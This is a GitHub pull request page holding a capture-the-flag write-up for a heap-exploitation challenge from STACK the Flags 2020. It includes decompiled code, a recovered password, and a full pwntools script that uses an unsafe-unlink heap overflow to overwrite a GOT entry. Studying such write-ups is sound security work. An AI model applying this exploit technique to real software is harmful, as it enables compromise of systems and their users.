Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stack mitsuha #22

Open
wants to merge 82 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
82 commits
Select commit Hold shift + click to select a range
0490ad1
initial
Tkaixiang Dec 7, 2020
52d81c6
corrupted hive
Tkaixiang Dec 7, 2020
d0b7da0
update
Tkaixiang Dec 7, 2020
204693a
Memory lane
Tkaixiang Dec 7, 2020
661094f
update
Tkaixiang Dec 8, 2020
b678e40
Updates
Tkaixiang Dec 8, 2020
56d24b4
hunt him down
Tkaixiang Dec 8, 2020
6921d64
first pwn
152334H Dec 8, 2020
a774e31
Merge branch 'stack-mitsuha' of github.com:IRS-Cybersec/ctfdump into …
152334H Dec 8, 2020
9d89e00
Update README.md
152334H Dec 8, 2020
3760ea8
hunt him down
Tkaixiang Dec 8, 2020
70f814b
Merge remote-tracking branch 'origin/stack-mitsuha' into stack-mitsuha
Tkaixiang Dec 8, 2020
25260bc
name update
Tkaixiang Dec 8, 2020
10722ff
update
Tkaixiang Dec 8, 2020
9362715
where was he kidnapped?
Tkaixiang Dec 8, 2020
2e32878
what
Tkaixiang Dec 8, 2020
9bd2379
BE-3
152334H Dec 8, 2020
07fb38f
rename
152334H Dec 8, 2020
76620b8
mobile-general
152334H Dec 8, 2020
0feaf51
osint 1
Tkaixiang Dec 8, 2020
40a7787
Merge remote-tracking branch 'origin/stack-mitsuha' into stack-mitsuha
Tkaixiang Dec 8, 2020
a2e80da
Stats
152334H Dec 8, 2020
a9065f9
Merge branch 'stack-mitsuha' of github.com:IRS-Cybersec/ctfdump into …
152334H Dec 8, 2020
0691d61
1. unlock me
Tkaixiang Dec 8, 2020
fada26b
Merge remote-tracking branch 'origin/stack-mitsuha' into stack-mitsuha
Tkaixiang Dec 8, 2020
faa5786
format
Tkaixiang Dec 8, 2020
4b2923f
update
Tkaixiang Dec 8, 2020
cd80ff3
Uploaded Voices in the head
xzy-10 Dec 8, 2020
80b756f
Update README.md
xzy-10 Dec 8, 2020
525560a
Update README.md
xzy-10 Dec 8, 2020
b43f210
another one
152334H Dec 8, 2020
adac67f
Merge branch 'stack-mitsuha' of github.com:IRS-Cybersec/ctfdump into …
152334H Dec 8, 2020
a90e01e
speedup for Rome
152334H Dec 9, 2020
e71ee54
short and sweet
152334H Dec 9, 2020
600a26f
Uploaded Sounds of freedom!
xzy-10 Dec 9, 2020
132e330
Update README.md
xzy-10 Dec 9, 2020
2505e0e
Update README.md
xzy-10 Dec 9, 2020
602f552
Update README.md
xzy-10 Dec 9, 2020
ffa795b
Update README.md
xzy-10 Dec 9, 2020
27a05c1
Update README.md
xzy-10 Dec 9, 2020
1143749
Update README.md
xzy-10 Dec 9, 2020
bf593fe
Update README.md
xzy-10 Dec 10, 2020
c835090
png
xzy-10 Dec 10, 2020
f0be325
Update README.md
xzy-10 Dec 10, 2020
b25d6af
Update README.md
xzy-10 Dec 10, 2020
d268961
Update README.md
xzy-10 Dec 10, 2020
3c1a12f
Update README.md
xzy-10 Dec 10, 2020
94c5e97
Update README.md
xzy-10 Dec 10, 2020
7613780
Update README.md
xzy-10 Dec 10, 2020
acf1b1f
Web 2: Logged In
sayomaki Dec 10, 2020
d559eac
IoT: Suspicious Frequency
sayomaki Dec 10, 2020
b8e50f2
Uploaded Only time will tell!
xzy-10 Dec 10, 2020
dad7f5c
Merge branch 'stack-mitsuha' of https://github.com/IRS-Cybersec/ctfdu…
xzy-10 Dec 10, 2020
888aaaf
IoT: I smell updates
sayomaki Dec 10, 2020
9c1ed89
part2
152334H Dec 10, 2020
612ef46
flag update
152334H Dec 10, 2020
2ec0369
Update README.md
xzy-10 Dec 10, 2020
07d227b
Merge branch 'stack-mitsuha' of https://github.com/IRS-Cybersec/ctfdu…
xzy-10 Dec 10, 2020
48f8fc7
Update README.md
xzy-10 Dec 10, 2020
42a838b
Updated some OSINT stuff to make it clearer
xzy-10 Dec 10, 2020
2b7a871
Update README.md
xzy-10 Dec 10, 2020
b6b07e2
Update README.md
xzy-10 Dec 10, 2020
c1b223d
Stuff
xzy-10 Dec 10, 2020
6b6be88
Added a folder to store all the images because there's simply way too…
xzy-10 Dec 10, 2020
c503a83
added picture
xzy-10 Dec 10, 2020
567a718
Add images
sayomaki Dec 10, 2020
0b1f878
More images
sayomaki Dec 10, 2020
a378876
Even more images
sayomaki Dec 10, 2020
54dae3b
Wrong image format
sayomaki Dec 10, 2020
6ba4fdb
update
Tkaixiang Dec 10, 2020
b211798
More stuff
xzy-10 Dec 10, 2020
6b63433
Merge branch 'stack-mitsuha' of https://github.com/IRS-Cybersec/ctfdu…
xzy-10 Dec 10, 2020
32d6566
Web 6: Breaking Free
sayomaki Dec 10, 2020
d0c9d20
Update README.md
xzy-10 Dec 10, 2020
a3053ce
Cloud 2 writeup
sayomaki Dec 10, 2020
3ea27a9
Add Ads.
152334H Dec 11, 2020
f25eb4b
Formatting
sayomaki Dec 11, 2020
90ee686
Update README.md
xzy-10 Dec 11, 2020
3de15be
Merge branch 'stack-mitsuha' of https://github.com/IRS-Cybersec/ctfdu…
xzy-10 Dec 11, 2020
5aab63b
Update README.md
xzy-10 Dec 11, 2020
dd0c1b0
Update README.md
xzy-10 Dec 12, 2020
aa21f21
Update README.md
xzy-10 Dec 12, 2020
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
393 changes: 393 additions & 0 deletions STACK the Flags 2020/Mitsuha/Binary Exploitation/BE-2/README.md

Large diffs are not rendered by default.

345 changes: 345 additions & 0 deletions STACK the Flags 2020/Mitsuha/Binary Exploitation/BE-3/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,345 @@
# Stop COViD's recruitment! [2000]
1 SOLVES

We got intelligence that COViD is hosting a program for recruiting agents on a remote server. This should be the same Linux binary that we found on one of his agent laptops.

Note: ASLR is enabled on the OS. PIE is not enabled.

Please view this Document for download instructions.

nc yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg 30131

This challenge:
- Is eligible for Awesome Write-ups Award
- Prerequisite for Mastery Award - Master of Reverse Engineering & Exploitation
## TL;DR
* I ignore everything about ptrace --- couldn't get it to run locally anyway.
* There is a big function (I call it `probably_password_checker()`) that does password verification before you can access the actual CLI menu of interest. I manually reversed the password out of it; there's probably a smart way to do it symbolically.
* `3. Edit member details` has a basic heap overflow. Abuse it (cf. how2heap/unsafe_unlink.c) to switch `GOT.exit()` to `getflag()`.

This writeup assumes you've done at least 1 heap pwn in your life.
## Starting
`Main()` (i.e. the sole function that is called by `main()` proper) involves a convoluted chain of `ptrace()` calls. If --- like me --- you don't understand any of that, that's okay: we'll be solving this challenge fully remote.

Within `Main()`, there are two non-libc functions called:
* one function (0x804A0A5) is called at the end of `Main()`. Let's call this `parent_function()`, because it's called by the initial parent to all of the `fork()`ed processes.
```c
unsigned int parent_function() {
char s[32]; // [esp+Ch] [ebp-2Ch]
do {
printf("Please enter password to enter system: ");
__isoc99_scanf("%32s", &s); // this is actually a 1-byte overflow, but since the canary is always '\0' anyway...
strlen(&s);
if ( buggedfunc() == 1 ) {
authorised_menu();
break;
}
else
puts("Wrong password Please enter again!\n");
} while (1);
}
```
This function is what handles the password input for the process. The password checking process is pushed to one of the child processes via the `ud2` instruction in `buggedfunc()`. When it succeeds, it calls `authorised_menu()`, which we'll get to later.
* The other function (0x804AA36) is called by one of the child processes. That function itself also contains a ton of `ptrace` calls, but **also has a reference to another non-library function** (0x804A417) which I labelled during the CTF as `probably_password_checker()`.
We'll forget about the first function for now, because the immediate focus should be on solving the `password_checker`. Here's how it looks like after cleaning up:
```c
bool probably_password_checker(char *pass)
{
char S1[64];
char S2[64];
char S3[64];
char pass_reversed[64];
char S1plusS2[64];
char passrev_minusS2_plusS1[64];
char passrev_minus_S2[64];
char pass_hex[32];
char hex_S1pS2[64];
char hex1[64] = "..."; // this is a constant embedded in the function
char hex2[64] = "..."; // ibid
char hex3[64] = "..."; // same

memset(hex_S1pS2, 0, sizeof(hex_S1pS2));
strxxd_bigendian(pass, pass_hex);
clear_64_bytes(S1);
clear_64_bytes(S2);
clear_64_bytes(S3);
clear_64_bytes(pass_reversed);
clear_64_bytes(S1plusS2);
clear_64_bytes(passrev_minusS2_plusS1);
clear_64_bytes(passrev_minus_S2);
unhexn_littleendian(S1, hex1, 64);
unhexn_littleendian(S2, hex2, 64);
unhexn_littleendian(S3, hex3, 64);
unhexn_littleendian(pass_reversed, pass_hex, 64);
add_64bytes(S1, S2, S1plusS2);
strnxxd_littleendian(S1plusS2, hex_S1pS2, 64);
// this part is completely useless! just ignore this.
char *hex_S1pS2_ = print_frobbed(hex_S1pS2, 64);
if ( !strcmp(pass_hex, hex_S1pS2_) )
puts("Comparing password......");
// end of useless section.
subtract_64bytes(pass_reversed, S2, passrev_minus_S2);
add_64bytes(passrev_minus_S2, S1, passrev_minusS2_plusS1);
return rev_strcmp(passrev_minusS2_plusS1, S3) == 0; // this is the actual comparison to be passed.
}
```
To solve this part,
* dump out the `hex*[]` constants by just copy-pasting decompiler code into a C wrapper
* analyse every function inside (which is why they're all named here)
* get the password:
```python
HEXES = [0x11343447d5b9e1e6cdae92faaea8880db1fab16b1568da13c3715f2aeba9d94f,
0x363b422c8fa9864675a4b480c5bfa965ad36c1f44bf68c4da7f4003b45b78e2e,
0x2b2a577c7b75bb0bbd833de35748531035f94ee709a7833d4befc34f0e57bd86]
pw = pack(HEXES[2]-HEXES[0]+HEXES[1], 'all')[::-1]
```
This part is just reverse engineering; let's not dwell on it.
Once you do that right, you'll get the password:
```
Welcome to COVID Recruitment System............
Please enter password to enter system: P1ea5e_key_in_th15_p@55w0rd_here

***************************
COVID Recruitment System
***************************
1. Add new member
2. List member details
3. Edit member detais
4. Delete members
5. Quit
***************************
Enter your choice:
```
Now for menu exploitation.
## Decompiling everything, again.
The menu has 5 options, plus one hidden option (9):
```c
int strange_cheat_function() {
return puts("Well.. this function might be helpful");
} // ⓘ Official sources dispute this claim.
```
Each member is described by this struct:
```c
typedef struct Member {
int size;
char name[32];
char *details;
int ID;
} Member;
Member members[200]; //0804D0A0-0804F300
int member_count;
```
The other functions have a number of bugs:
```c
int add() {
char num[8];
char name[32];
if ( member_count > 199 )
puts("Member list is full");
else {
for (int i = 0; i <= 199; ++i) {
if (!members[i].details) {
puts("Please enter the name of member:");
read(0, name, 0x20);
name[strcspn(name, "\n")] = 0; // this is exploitable because read() doesn't need newlines. I didn't bother.
name[strlen(name)] = 0; // this is the most pointless line of code I've ever seen in my entire life.
strncpy(members[i].name, name, strlen(name)); // this is a repeated strlen call. the above line is still useless.
puts("Please enter the length of note:");
read(0, num, 8);
int size = atoi(num);
if (!size) {
puts("invaild length");
return 0;
}
members[i].size = size;
members[i].details = malloc(size);
puts("Please enter details in the note:");
members[i].details[read(0, members[i].details, size)] = 0; // off-by-one NUL exploitable. I didn't bother.
members[i].ID = member_count;
printf("Member created. Member ID is %d\n", ++member_count);
return 0;
}
}
}
}
```
The minor bugs here are probably unintentional, because there's a far stronger bug in `edit()`:
```c
int edit() {
char nptr[8];
char buf[8]; // this has the same purpose as nptr, but exists as separate memory
printf("Please enter member ID to edit the notes:");
read(0, buf, 8);
int id = atoi(buf);
if (!id) {
puts("invaild member id");
return 0;
}
if ( id > 0 && id <= 199 ) {
if ( members[id-1].details ) {
puts("Please enter the length of note:");
read(0, nptr, 8);
int nbytes = atoi(nptr); // any value can be inserted here!!!
if ( !nbytes ) {
puts("invaild length");
return 0;
}
puts("Please enter the new details in the note:");
members[id-1].details[read(0, members[id-1].details, nbytes)] = 0; // arbitrary heap overflow!!!
}
else
puts("No such member!");
}
else
puts("No such member!");
puts("");
}
```
You can do a lot with an arbitrary heap overflow, but you'll probably need to `free()` something first. In delete, we'll get that:
```c
int delete() {
char buf[8];
puts("Please enter member ID to delete:");
read(0, buf, 8);
int ID = atoi(buf);
if (ID) {
if (ID > 0 && ID <= 199) {
if (members[ID-1].details) { // this part is pretty clean: everything is zeroed out (ignoring the heap data itself)
free(members[ID-1].details);
memset(members[ID-1].name, 0, 0x20);
members[ID-1].size = 0;
members[ID-1].details = 0;
members[ID-1].ID = 0;
puts("Member removed successfully");
--member_count;
}
else
puts("No such member!");
}
else
puts("No such member!");
puts("");
}
else
puts("invaild member id");
}
```
There are two remaining functions: `list()` and `exit()`. `list()` would've been useful for a leak, but because PIE is (still!) disabled, it's completely unnecessary. As for `exit()`, it's exit().

There's also a hidden `getflag()` function at `0x8049F29`. Since RELRO is still disabled here, our goal will be replacing `exit()` with `getflag()`, much like the previous challenge.

To handle everything in the menu programmatically, we'll make a class:
```python
from pwnscripts import *
context.binary = 'recruitment'
context.binary.symbols['getflag'] = 0x8049F29
context.binary.symbols['Members'] = 0x804D0A0
# MANUALLY DECOMPILED
HEXES = [0x11343447d5b9e1e6cdae92faaea8880db1fab16b1568da13c3715f2aeba9d94f,
0x363b422c8fa9864675a4b480c5bfa965ad36c1f44bf68c4da7f4003b45b78e2e,
0x2b2a577c7b75bb0bbd833de35748531035f94ee709a7833d4befc34f0e57bd86]
pw = pack(HEXES[2]-HEXES[0]+HEXES[1], 'all')

def member(ID): # for later
STRUCT_SIZE = 44 # decompiled
ID -= 1 # indexing in the true Members array starts from 0 rather than 1
class Member(int):
def __getattr__(self, name):
offsets = {'size': 0, 'name': 4, 'details': 36, 'ID': 40}
if name in offsets: return int(self)+offsets[name]
return Member(context.binary.symbols['Members']+ID*STRUCT_SIZE)

class Menu(pwnlib.tubes.remote.remote):
def login(r):
r.sendlineafter('system: ', pw[::-1])
r.member_count = 0
def opt(r, v):
r.sendlineafter('choice: \n', str(v))
def add(r, name, notelen: int, note):
assert r.member_count < 199
r.member_count += 1
r.opt(1)
r.sendafter('name of member:\n', name)
r.sendafter('length of note:\n', str(notelen))
r.sendafter('details in the note:\n', note)
return r.recvline()
def list(r, ID: int):
r.opt(2)
r.sendafter('ID to display:\n', str(ID))
return dict((k,r.recvline().split(b': ')[-1]) for k in (b"ID", b"Name", b"Notes"))
def edit(r, ID: int, notelen: int, note):
r.opt(3)
r.sendafter('edit the notes:', str(ID))
r.sendafter('length of note:\n', str(notelen))
r.sendafter('in the note:\n', note)
def delete(r, ID: int):
r.opt(4)
r.sendlineafter('ID to delete:\n', str(ID))
def quit(r):
r.opt(5)
def magic(r):
r.opt(9)
r = Menu('yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg', 30131)
r.login()
```
We'll move on.

## Abusing heap overflow
I had no idea what the remote version of libc was, so I [assumed the worst](https://elixir.bootlin.com/glibc/glibc-2.31.9000/source/malloc/malloc.c)<sup>1</sup>. To exploit the latest version of malloc, we can follow the exploit laid out [here](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit). We'll start by allocating two chunks:
```python
SIZE = 0x418
r.add('me', SIZE, '1')
r.add('me2', SIZE, '2')
```
`SIZE` needs to be large enough to not fall into the tcache/fastbins<sup>2</sup>, and 0x400+ is definitely big enough.

Right now, the heap looks like this:
```
+----metadata----+-member1-+----metadata----+-member2+
| prevsize, size | <data> | prevsize, size | <data> |
+--------8-------+--SIZE---+--------8-------+--SIZE--+
```
We're going to create a fake chunk within member 1, such that member 1 (the "user-controlled" part of it, not including metadata preceding it) will look like this<sup>3</sup>:
```
<-------------------------------member 1------------------------------->
+-prevsize-+-size-+---------fd--------+---------bk--------+-garbage-+
| | SIZE | ((int*)members)-3 | ((int*)members)-2 | 0 |
+-----4----+---4--+---------4---------+---------4---------+-SIZE-16-+
```
We'll also alter member 2's metadata:
```
<-----metadata------>
+-prevsize-+--size--+
| SIZE | SIZE+8 |
+-----4----+----4---+
```
We'll do both of these things at once by overflowing on `edit()`:
```python
payload = pack(SIZE).rjust()
payload+= pack(member1_ptr-context.bytes*3)
payload+= pack(member1_ptr-context.bytes*2)
payload = payload.ljust(SIZE,b'\0')
payload+= pack(SIZE) + pack(SIZE+8)
r.edit(1, len(payload), payload)
```
At this point, freeing the second member will cause malloc.c to attempt to merge the fake free chunk we created with the second chunk. In a convoluted series of events, this will cause the global `members[0].details` pointer to be overwritten with `(&members[0].details)-3`. Editing `members[0].details` _after_ freeing `members[1].details` will allow us to overwrite `members[0].details` to anything we want, and that will give arbitrary write+read: write from _yet another_ `edit()`, and read from `list()` (which, once again, we don't need here).

Since the goal is to just overwrite the GOT table, we'll replace `members[0].details` with `.got['exit']`, and we'll edit it to match `getflag()` before calling `exit()`.

```python
r.delete(2)
payload = pack(context.binary.got['exit']).rjust(context.bytes*4)
r.edit(1, len(payload), payload)
r.edit(1, 4, pack(context.binary.symbols['getflag']))
r.quit()
print(r.recvuntil('}'))
```
Chalk up another one.

## Flag
`govtech-csg{5t0p_c0v1d_r3cru1tm3nt}`

## Footnotes
1. I actually tried isolating the libc version before I realised `getflag()` existed. The libc-database couldn't identify the version!
2. The minimum value for which my exploit script still works is `0x48`, but `MAX_FAST_SIZE` is `80*SIZE_SZ/4 == 0x50`. I think I mixed up request size vs. actual size somewhere.
3. There's almost certainly something wrong here, whether be it the lowermost bits of size or something else. In any case, the script works.
Loading